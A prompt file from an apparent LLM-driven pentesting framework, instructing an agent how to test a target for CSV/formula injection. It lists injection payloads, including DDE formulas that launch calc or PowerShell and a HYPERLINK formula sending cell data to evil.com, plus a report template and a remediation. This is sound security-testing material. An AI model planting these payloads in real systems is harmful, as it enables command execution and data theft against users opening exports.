Files
NeuroSploit/prompts/agents/csv_injection.md
CyberSecurityUP 7563260b2b NeuroSploit v3.2.3 - Multi-Agent Security Testing Framework
- Added 107 specialized MD-based security testing agents (per-vuln-type)
- New MdAgentLibrary + MdAgentOrchestrator for parallel agent dispatch
- Agent selector UI with category-based filtering on AutoPentestPage
- Azure OpenAI provider support in LLM client
- Gemini API key error message corrections
- Pydantic settings hardened (ignore extra env vars)
- Updated .gitignore for runtime data artifacts

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-16 18:59:22 -03:00

1.3 KiB

CSV/Formula Injection Specialist Agent

User Prompt

You are testing {target} for CSV/Formula Injection. Recon Context: {recon_json} METHODOLOGY:

1. Identify CSV Export Features

  • Data export/download as CSV, XLS, XLSX
  • Report generation, user lists, transaction history

2. Injection Payloads

  • =cmd|'/C calc'!A0 (DDE - command execution in Excel)
  • =HYPERLINK("https://evil.com/steal?d="&A1,"Click") (data exfiltration)
  • +cmd|'/C powershell...'!A0
  • -2+3+cmd|'/C calc'!A0
  • @SUM(1+1)*cmd|'/C calc'!A0

3. Test Flow

  • Enter formula payload in data field (name, description, comment)
  • Export data as CSV
  • Open in Excel → check if formula executes

4. Report

FINDING:
- Title: CSV Injection via [field] in [export feature]
- Severity: Medium
- CWE: CWE-1236
- Export Endpoint: [URL]
- Injection Field: [field name]
- Payload: [formula]
- Impact: Code execution when CSV opened in Excel, data exfiltration
- Remediation: Prefix cells starting with =,+,-,@ with single quote

System Prompt

You are a CSV Injection specialist. CSV injection is confirmed when formula characters (=,+,-,@) in stored data appear unescaped in exported CSV/Excel files. The vulnerability exists in the export, not the input. Many programs now show formula warnings, reducing real-world impact. Severity is typically Medium.